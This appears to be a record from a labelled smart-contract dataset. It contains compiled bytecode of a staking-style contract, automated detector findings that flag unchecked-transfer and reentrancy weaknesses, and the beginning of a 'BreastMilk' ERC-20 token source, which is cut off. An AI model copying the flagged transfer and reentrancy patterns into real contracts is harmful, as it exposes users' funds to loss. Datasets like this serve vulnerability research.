0x608060405234801561001057600080fd5b506004361061023c5760003560e01c8063865a21e51161013b578063c0d8012c116100b8578063db763e4c1161007c578063db763e4c14610897578063eb2d9ef8146108b5578063f0484747146108e3578063f35d16b414610911578063f7c618c11461092f5761023c565b8063c0d8012c14610793578063c448a4c1146107d5578063d4a22bde146107f3578063d7153d3614610837578063d89135cd146108795761023c565b8063b33712c5116100ff578063b33712c5146106a1578063b7bda68f146106ab578063ba4128bc146106df578063bb371fdd14610737578063bd0ef4d6146107655761023c565b8063865a21e51461059d57806388a8d602146105df5780638fcc9cfb146106135780639927145a146106415780639abecd13146106835761023c565b80634b341aed116101c95780635c975abb1161018d5780635c975abb146104cb578063636bfbab146104eb5780636c8b052a146105095780637b7d07d814610527578063817b1cd21461057f5761023c565b80634b341aed146103db5780634f7ff5031461043357806350c6d48114610451578063536643351461047f57806354b302c5146104ad5761023c565b806332053c991161021057806332053c99146102ed578063387dd9e91461030b578063439766ce1461037f57806343cd8f7e146103895780634412ec6a146103bd5761023c565b8062c3d237146102415780630e15561a1461025f578063275a19871461027d5780632eb3f49b146102ab575b600080fd5b610249610963565b6040518082815260200191505060405180910390f35b610267610969565b6040518082815260200191505060405180910390f35b6102a96004803603602081101561029357600080fd5b810190808035906020019092919050505061096f565b005b6102d7600480360360208110156102c157600080fd5b8101908080359060200190929190505050610b39565b6040518082815260200191505060405180910390f35b6102f5610ba1565b6040518082815260200191505060405180910390f35b6103376004803603602081101561032157600080fd5b8101908080359060200190929190505050610ba7565b604051808681526020018581526020018481526020018381526020018273ffffffffffffffffffffffffffffffffffffffff1681526020019550505050505060405180910390f35b610387610bfd565b005b610391610d97565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6103c5610dbd565b6040518082815260200191505060405180910390f35b61041d600480360360208110156103f157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610dc3565b6040518082815260200191505060405180910390f35b61043b610ddb565b6040518082815260200191505060405180910390f35b61047d6004803603602081101561046757600080fd5b8101908080359060200190929190505050610de1565b005b6104ab6004803603602081101561049557600080fd5b810190808035906020019092919050505061156b565b005b6104b5611737565b6040518082815260200191505060405180910390f35b6104d361173d565b60405180821515815260200191505060405180910390f35b6104f3611750565b6040518082815260200191505060405180910390f35b610511611756565b6040518082815260200191505060405180910390f35b6105696004803603602081101561053d57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061175c565b6040518082815260200191505060405180910390f35b610587611774565b6040518082815260200191505060405180910390f35b6105c9600480360360208110156105b357600080fd5b810190808035906020019092919050505061177a565b6040518082815260200191505060405180910390f35b6105e7611b05565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b61063f6004803603602081101561062957600080fd5b8101908080359060200190929190505050611b29565b005b61066d6004803603602081101561065757600080fd5b8101908080359060200190929190505050611c3b565b6040518082815260200191505060405180910390f35b61068b611c53565b6040518082815260200191505060405180910390f35b6106a9611c59565b005b6106b3611e4f565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b610721600480360360208110156106f557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611e75565b6040518082815260200191505060405180910390f35b6107636004803603602081101561074d57600080fd5b8101908080359060200190929190505050611e8d565b005b6107916004803603602081101561077b57600080fd5b8101908080359060200190929190505050611f9f565b005b6107bf600480360360208110156107a957600080fd5b81019080803590602001909291905050506120b3565b6040518082815260200191505060405180910390f35b6107dd6128f0565b6040518082815260200191505060405180910390f35b6108356004803603602081101561080957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506128f6565b005b6108776004803603606081101561084d57600080fd5b81019080803590602001909291908035906020019092919080359060200190929190505050612a8c565b005b61088161345f565b6040518082815260200191505060405180910390f35b61089f613465565b6040518082815260200191505060405180910390f35b6108e1600480360360208110156108cb57600080fd5b810190808035906020019092919050505061346b565b005b61090f600480360360208110156108f957600080fd5b810190808035906020019092919050505061357d565b005b6109196137d0565b6040518082815260200191505060405180910390f35b6109376137d6565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b600f5481565b600b5481565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610a30576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601d8152602001807f4f6e6c79206d616e6167656d656e74206d61792063616c6c207468697300000081525060200191505060405180910390fd5b6000600e54905081600e81905550600e547382d7630c5eb722557de6d76575c9a7b8de718500631d3b9edf9091600e546040518363ffffffff1660e01b8152600401808381526020018281526020019250505060206040518083038186803b158015610a9b57600080fd5b505af4158015610aaf573d6000803e3d6000fd5b505050506040513d6020811015610ac557600080fd5b8101908080519060200190929190505050600f5481610ae057fe5b04601181905550610af08261177a565b6010819055507fad4ce9a0bb9d64186960728541d7fa257c4aec2e995abf70c707f7e0b7401c7d8183604051808381526020018281526020019250505060405180910390a15050565b6000806012600084815260200190815260200160002090506000439050600360149054906101000a900460ff1615610b715760045490505b60008260010154820383600301540290508260020154811115610b9657826002015490505b809350505050919050565b60045481565b60126020528060005260406000206000915090508060000154908060010154908060020154908060030154908060040160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905085565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610cbe576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601d8152602001807f4f6e6c79206d616e6167656d656e74206d61792063616c6c207468697300000081525060200191505060405180910390fd5b60001515600360149054906101000a900460ff16151514610d47576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600e8152602001807f416c72656164792070617573656400000000000000000000000000000000000081525060200191505060405180910390fd5b6001600360146101000a81548160ff021916908315150217905550436004819055507fab35696f06e428ebc5ceba8cd17f8fed287baf43440206d1943af1ee53e6d26760405160405180910390a1565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600d5481565b60136020528060005260406000206000915090505481565b60055481565b60006012600083815260200190815260200160002090506000610e0383610b39565b90506000610e10846120b3565b905043836001018190555060008211156111b05782600201547382d7630c5eb722557de6d76575c9a7b8de71850063f4f3bdc19091846040518363ffffffff1660e01b8152600401808381526020018281526020019250505060206040518083038186803b158015610e8157600080fd5b505af4158015610e95573d6000803e3d6000fd5b505050506040513d6020811015610eab57600080fd5b81019080805190602001909291905050508360020181905550600c547382d7630c5eb722557de6d76575c9a7b8de7185006366098d4f9091846040518363ffffffff1660e01b8152600401808381526020018281526020019250505060206040518083038186803b158015610f1f57600080fd5b505af4158015610f33573d6000803e3d6000fd5b505050506040513d6020811015610f4957600080fd5b8101908080519060200190929190505050600c81905550601660008460040160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020547382d7630c5eb722557de6d76575c9a7b8de7185006366098d4f9091846040518363ffffffff1660e01b8152600401808381526020018281526020019250505060206040518083038186803b15801561101c57600080fd5b505af4158015611030573d6000803e3d6000fd5b505050506040513d602081101561104657600080fd5b8101908080519060200190929190505050601660008560040160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b15801561117357600080fd5b505af1158015611187573d6000803e3d6000fd5b505050506040513d602081101561119d57600080fd5b8101908080519060200190929190505050505b600081111561156557600b547382d7630c5eb722557de6d76575c9a7b8de7185006366098d4f9091836040518363ffffffff1660e01b8152600401808381526020018281526020019250505060206040518083038186803b15801561121457600080fd5b505af4158015611228573d6000803e3d6000fd5b505050506040513d602081101561123e57600080fd5b8101908080519060200190929190505050600b81905550601360008460040160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020547382d7630c5eb722557de6d76575c9a7b8de7185006366098d4f9091836040518363ffffffff1660e01b8152600401808381526020018281526020019250505060206040518083038186803b15801561131157600080fd5b505af4158015611325573d6000803e3d6000fd5b505050506040513d602081101561133b57600080fd5b8101908080519060200190929190505050601460008560040160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555060156000858152602001908152602001600020547382d7630c5eb722557de6d76575c9a7b8de7185006366098d4f9091836040518363ffffffff1660e01b8152600401808381526020018281526020019250505060206040518083038186803b15801561141f57600080fd5b505af4158015611433573d6000803e3d6000fd5b505050506040513d602081101561144957600080fd5b81019080805190602001909291905050506015600086815260200190815260200160002081905550600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb8460040160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16836040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b15801561152857600080fd5b505af115801561153c573d6000803e3d6000fd5b505050506040513d602081101561155257600080fd5b8101908080519060200190929190505050505b50505050565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461162c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601d8152602001807f4f6e6c79206d616e6167656d656e74206d61792063616c6c207468697300000081525060200191505060405180910390fd5b6000600f54905081600f81905550600e547382d7630c5eb722557de6d76575c9a7b8de718500631d3b9edf9091600e546040518363ffffffff1660e01b8152600401808381526020018281526020019250505060206040518083038186803b15801561169757600080fd5b505af41580156116ab573d6000803e3d6000fd5b505050506040513d60208110156116c157600080fd5b8101908080519060200190929190505050600f54816116dc57fe5b046011819055506116ee600e5461177a565b6010819055507ff074a9b9fa4b8be983b512a5a74648547eb7410cad6471f6812ae4e5fae5df8a8183604051808381526020018281526020019250505060405180910390a15050565b60085481565b600360149054906101000a900460ff1681565b60075481565b60065481565b60146020528060005260406000206000915090505481565b600a5481565b600060066011547382d7630c5eb722557de6d76575c9a7b8de718500631d3b9edf9091857382d7630c5eb722557de6d76575c9a7b8de718500631d3b9edf9091887382d7630c5eb722557de6d76575c9a7b8de7185006366098d4f909160016040518363ffffffff1660e01b8152600401808381526020018281526020019250505060206040518083038186803b15801561181457600080fd5b505af4158015611828573d6000803e3d6000fd5b505050506040513d602081101561183e57600080fd5b81019080805190602001909291905050506040518363ffffffff1660e01b8152600401808381526020018281526020019250505060206040518083038186803b15801561188a57600080fd5b505af415801561189e573d6000803e3d6000fd5b505050506040513d60208110156118b457600080fd5b81019080805190602001909291905050506040518363ffffffff1660e01b8152600401808381526020018281526020019250505060206040518083038186803b15801561190057600080fd5b505af4158015611914573d6000803e3d6000fd5b505050506040513d602081101561192a57600080fd5b81019080805190602001909291905050507382d7630c5eb722557de6d76575c9a7b8de718500631d3b9edf9091857382d7630c5eb722557de6d76575c9a7b8de718500631d3b9edf909160026040518363ffffffff1660e01b8152600401808381526020018281526020019250505060206040518083038186803b1580156119b157600080fd5b505af41580156119c5573d6000803e3d6000fd5b505050506040513d60208110156119db57600080fd5b81019080805190602001909291905050507382d7630c5eb722557de6d76575c9a7b8de7185006366098d4f909160016040518363ffffffff1660e01b8152600401808381526020018281526020019250505060206040518083038186803b158015611a4557600080fd5b505af4158015611a59573d6000803e3d6000fd5b505050506040513d6020811015611a6f57600080fd5b81019080805190602001909291905050506040518363ffffffff1660e01b8152600401808381526020018281526020019250505060206040518083038186803b158015611abb57600080fd5b505af4158015611acf573d6000803e3d6000fd5b505050506040513d6020811015611ae557600080fd5b810190808051906020019092919050505081611afd57fe5b049050919050565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611bea576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601d8152602001807f4f6e6c79206d616e6167656d656e74206d61792063616c6c207468697300000081525060200191505060405180910390fd5b60006007549050816007819055507fb566d3df2587c9e70b06b6419bdeeeeec8ca8cd60e4c48c6baad0d94c46809c78183604051808381526020018281526020019250505060405180910390a15050565b60156020528060005260406000206000915090505481565b60095481565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611d1a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601d8152602001807f4f6e6c79206d616e6167656d656e74206d61792063616c6c207468697300000081525060200191505060405180910390fd5b60011515600360149054906101000a900460ff16151514611da3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260108152602001807f416c726561647920756e7061757365640000000000000000000000000000000081525060200191505060405180910390fd5b600060065414611dfe576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260278152602001806139d26027913960400191505060405180910390fd5b6000600360146101000a81548160ff02191690831515021790555060006004819055507f0e5e3b3fb504c22cf5c42fa07d521225937514c654007e1f12646f89768d6f9460405160405180910390a1565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60166020528060005260406000206000915090505481565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611f4e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601d8152602001807f4f6e6c79206d616e6167656d656e74206d61792063616c6c207468697300000081525060200191505060405180910390fd5b60006008549050816008819055507f78131f623b32212db92dadc6f203f2aeb863f71ce1a61b8eafc1ece42816c5ba8183604051808381526020018281526020019250505060405180910390a15050565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614612060576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601d8152602001807f4f6e6c79206d616e6167656d656e74206d61792063616c6c207468697300000081525060200191505060405180910390fd5b60006005549050816005819055507f05b71e3e4a42e0661e105ffa5a29770315a149423dfb60ea89792aa4b407afe981600554604051808381526020018281526020019250505060405180910390a15050565b600080601260008481526020019081526020016000209050600073ffffffffffffffffffffffffffffffffffffffff168160040160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16141561212e5760009150506128eb565b6000439050600360149054906101000a900460ff161561214e5760045490505b600080600e5484600101547382d7630c5eb722557de6d76575c9a7b8de71850063f4f3bdc19091600d546040518363ffffffff1660e01b8152600401808381526020018281526020019250505060206040518083038186803b1580156121b357600080fd5b505af41580156121c7573d6000803e3d6000fd5b505050506040513d60208110156121dd57600080fd5b8101908080519060200190929190505050816121f557fe5b0690506000600e547382d7630c5eb722557de6d76575c9a7b8de71850063f4f3bdc19091846040518363ffffffff1660e01b8152600401808381526020018281526020019250505060206040518083038186803b15801561225557600080fd5b505af4158015612269573d6000803e3d6000fd5b505050506040513d602081101561227f57600080fd5b81019080805190602001909291905050509050600061229d8261177a565b90506000857382d7630c5eb722557de6d76575c9a7b8de71850063f4f3bdc1909189600101546040518363ffffffff1660e01b8152600401808381526020018281526020019250505060206040518083038186803b1580156122fe57600080fd5b505af4158015612312573d6000803e3d6000fd5b505050506040513d602081101561232857600080fd5b810190808051906020019092919050505090506000600e54877382d7630c5eb722557de6d76575c9a7b8de71850063f4f3bdc19091600d546040518363ffffffff1660e01b8152600401808381526020018281526020019250505060206040518083038186803b15801561239b57600080fd5b505af41580156123af573d6000803e3d6000fd5b505050506040513d60208110156123c557600080fd5b8101908080519060200190929190505050816123dd57fe5b0690506000600e547382d7630c5eb722557de6d76575c9a7b8de71850063f4f3bdc19091846040518363ffffffff1660e01b8152600401808381526020018281526020019250505060206040518083038186803b15801561243d57600080fd5b505af4158015612451573d6000803e3d6000fd5b505050506040513d602081101561246757600080fd5b8101908080519060200190929190505050905060006124858261177a565b90508584101561252a57847382d7630c5eb722557de6d76575c9a7b8de71850063f4f3bdc19091836040518363ffffffff1660e01b8152600401808381526020018281526020019250505060206040518083038186803b1580156124e857600080fd5b505af41580156124fc573d6000803e3d6000fd5b505050506040513d602081101561251257600080fd5b810190808051906020019092919050505097506128dd565b6000847382d7630c5eb722557de6d76575c9a7b8de71850063f4f3bdc19091866040518363ffffffff1660e01b8152600401808381526020018281526020019250505060206040518083038186803b15801561258557600080fd5b505af4158015612599573d6000803e3d6000fd5b505050506040513d60208110156125af57600080fd5b81019080805190602001909291905050507382d7630c5eb722557de6d76575c9a7b8de71850063f4f3bdc19091896040518363ffffffff1660e01b8152600401808381526020018281526020019250505060206040518083038186803b15801561261857600080fd5b505af415801561262c573d6000803e3d6000fd5b505050506040513d602081101561264257600080fd5b810190808051906020019092919050505090506000600e54828161266257fe5b049050807382d7630c5eb722557de6d76575c9a7b8de718500631d3b9edf90916010546040518363ffffffff1660e01b8152600401808381526020018281526020019250505060206040518083038186803b1580156126c057600080fd5b505af41580156126d4573d6000803e3d6000fd5b505050506040513d60208110156126ea57600080fd5b8101908080519060200190929190505050995060008911156127a557897382d7630c5eb722557de6d76575c9a7b8de7185006366098d4f909161272c8b61177a565b6040518363ffffffff1660e01b8152600401808381526020018281526020019250505060206040518083038186803b15801561276757600080fd5b505af415801561277b573d6000803e3d6000fd5b505050506040513d602081101561279157600080fd5b810190808051906020019092919050505099505b60008511156128da57897382d7630c5eb722557de6d76575c9a7b8de7185006366098d4f90916010547382d7630c5eb722557de6d76575c9a7b8de71850063f4f3bdc19091886040518363ffffffff1660e01b8152600401808381526020018281526020019250505060206040518083038186803b15801561282657600080fd5b505af415801561283a573d6000803e3d6000fd5b505050506040513d602081101561285057600080fd5b81019080805190602001909291905050506040518363ffffffff1660e01b8152600401808381526020018281526020019250505060206040518083038186803b15801561289c57600080fd5b505af41580156128b0573d6000803e3d6000fd5b505050506040513d60208110156128c657600080fd5b810190808051906020019092919050505099505b50505b879a50505050505050505050505b919050565b60105481565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146129b7576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601d8152602001807f4f6e6c79206d616e6167656d656e74206d61792063616c6c207468697300000081525060200191505060405180910390fd5b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055507f8caf0a9df2e1da9becb3ebfb8a56e83121a5b3f6c5622f715a939ec29c54dfdf8183604051808373ffffffffffffffffffffffffffffffffffffffff1681526020018273ffffffffffffffffffffffffffffffffffffffff1681526020019250505060405180910390a15050565b60008311612b02576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260188152602001807f536c6f74206964206d75737420626520706f736974697665000000000000000081525060200191505060405180910390fd5b600554831115612b7a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260148152602001807f536c6f74206964206f7574206f662072616e676500000000000000000000000081525060200191505060405180910390fd5b600954821015612bd5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260258152602001806139f96025913960400191505060405180910390fd5b600754811015612c30576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260238152602001806139af6023913960400191505060405180910390fd5b600854811115612ca8576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601f8152602001807f4465706f736974206d757374206e6f7420657863656564206d6178696d756d0081525060200191505060405180910390fd5b60001515600360149054906101000a900460ff16151514612d31576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260108152602001807f4d75737420626520756e7061757365640000000000000000000000000000000081525060200191505060405180910390fd5b6000601260008581526020019081526020016000209050600073ffffffffffffffffffffffffffffffffffffffff168160040160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161415612e55578381600001819055506006547382d7630c5eb722557de6d76575c9a7b8de7185006366098d4f909160016040518363ffffffff1660e01b8152600401808381526020018281526020019250505060206040518083038186803b158015612e0657600080fd5b505af4158015612e1a573d6000803e3d6000fd5b505050506040513d6020811015612e3057600080fd5b81019080805190602001909291905050506006819055504381600101819055506130f6565b612e5e84610de1565b6000816003015484118015612e8257508160020154831180612e81575060085483145b5b90508080612e94575060008260020154145b612ee9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260218152602001806139466021913960400191505060405180910390fd5b600a547382d7630c5eb722557de6d76575c9a7b8de71850063f4f3bdc1909184600201546040518363ffffffff1660e01b8152600401808381526020018281526020019250505060206040518083038186803b158015612f4857600080fd5b505af4158015612f5c573d6000803e3d6000fd5b505050506040513d6020811015612f7257600080fd5b8101908080519060200190929190505050600a81905550601360008360040160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020547382d7630c5eb722557de6d76575c9a7b8de71850063f4f3bdc1909184600201546040518363ffffffff1660e01b8152600401808381526020018281526020019250505060206040518083038186803b15801561304957600080fd5b505af415801561305d573d6000803e3d6000fd5b505050506040513d602081101561307357600080fd5b8101908080519060200190929190505050601360008460040160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506130f4856137fc565b505b338160040160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550828160030181905550818160020181905550600a547382d7630c5eb722557de6d76575c9a7b8de7185006366098d4f9091846040518363ffffffff1660e01b8152600401808381526020018281526020019250505060206040518083038186803b1580156131a657600080fd5b505af41580156131ba573d6000803e3d6000fd5b505050506040513d60208110156131d057600080fd5b8101908080519060200190929190505050600a81905550601360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020547382d7630c5eb722557de6d76575c9a7b8de7185006366098d4f9091846040518363ffffffff1660e01b8152600401808381526020018281526020019250505060206040518083038186803b15801561327f57600080fd5b505af4158015613293573d6000803e3d6000fd5b505050506040513d60208110156132a957600080fd5b8101908080519060200190929190505050601360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555060008211156133f457600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166323b872dd3330856040518463ffffffff1660e01b8152600401808473ffffffffffffffffffffffffffffffffffffffff1681526020018373ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019350505050602060405180830381600087803b1580156133b757600080fd5b505af11580156133cb573d6000803e3d6000fd5b505050506040513d60208110156133e157600080fd5b8101908080519060200190929190505050505b7f8a6b57a983e90e3e89988bdda70f5ff90dc6741f18f555bc6d62a39d7d52f4ff84838533604051808581526020018481526020018381526020018273ffffffffffffffffffffffffffffffffffffffff16815260200194505050505060405180910390a150505050565b600c5481565b60115481565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461352c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601d8152602001807f4f6e6c79206d616e6167656d656e74206d61792063616c6c207468697300000081525060200191505060405180910390fd5b60006009549050816009819055507fb7be0e444b8c4c990a3d961feb3d8f9457718f98d2be14223fc5e11645e1ac0e8183604051808381526020018281526020019250505060405180910390a15050565b600060126000838152602001908152602001600020905060003373ffffffffffffffffffffffffffffffffffffffff168260040160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614806135f8575060008260020154145b905080806136125750600360149054906101000a900460ff165b613667576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260488152602001806139676048913960600191505060405180910390fd5b61367083610de1565b613679836137fc565b60008260040160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600082600301819055506006547382d7630c5eb722557de6d76575c9a7b8de71850063f4f3bdc1909160016040518363ffffffff1660e01b8152600401808381526020018281526020019250505060206040518083038186803b15801561372357600080fd5b505af4158015613737573d6000803e3d6000fd5b505050506040513d602081101561374d57600080fd5b81019080805190602001909291905050506006819055507f8a6b57a983e90e3e89988bdda70f5ff90dc6741f18f555bc6d62a39d7d52f4ff836000806000604051808581526020018481526020018381526020018273ffffffffffffffffffffffffffffffffffffffff16815260200194505050505060405180910390a1505050565b600e5481565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000601260008381526020019081526020016000209050600060156000848152602001908152602001600020819055506000816002015411156139415760008160020154905060008260020181905550600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb8360040160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16836040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b15801561390357600080fd5b505af1158015613917573d6000803e3d6000fd5b505050506040513d602081101561392d57600080fd5b810190808051906020019092919050505050505b505056fe596f75206d757374206f7574626964207468652063757272656e74206f776e65724f6e6c79206f776e65722063616e2063616c6c207468697320756e6c65737320757365722069732064656c696e7175656e74206f7220636f6e7472616374206973207061757365644465706f736974206d757374206d656574206f7220657863656564206d696e696d756d4d757374206b69636b2065766572796f6e65206f7574206265666f726520756e70617573696e674275726e2072617465206d757374206d656574206f7220657863656564206d696e696d756da2646970667358221220744c619a1f74beeb1f35657a873afa77c300b943723580d76e89e3fec0457c3a64736f6c63430007040033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}]}}
| 8,404 |
0x360399eaad29ccaca1c34272c26bb9e4859c61b7
|
/**
*Submitted for verification at Etherscan.io on 2022-02-14
*/
/**
BreastMilk
Telegram: https://t.me/Breastmilketh
*/
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract BreastMilk is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "Breast Milk";
string private constant _symbol = "BreastMilk";
uint8 private constant _decimals = 9;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 10000000 * 10**9;
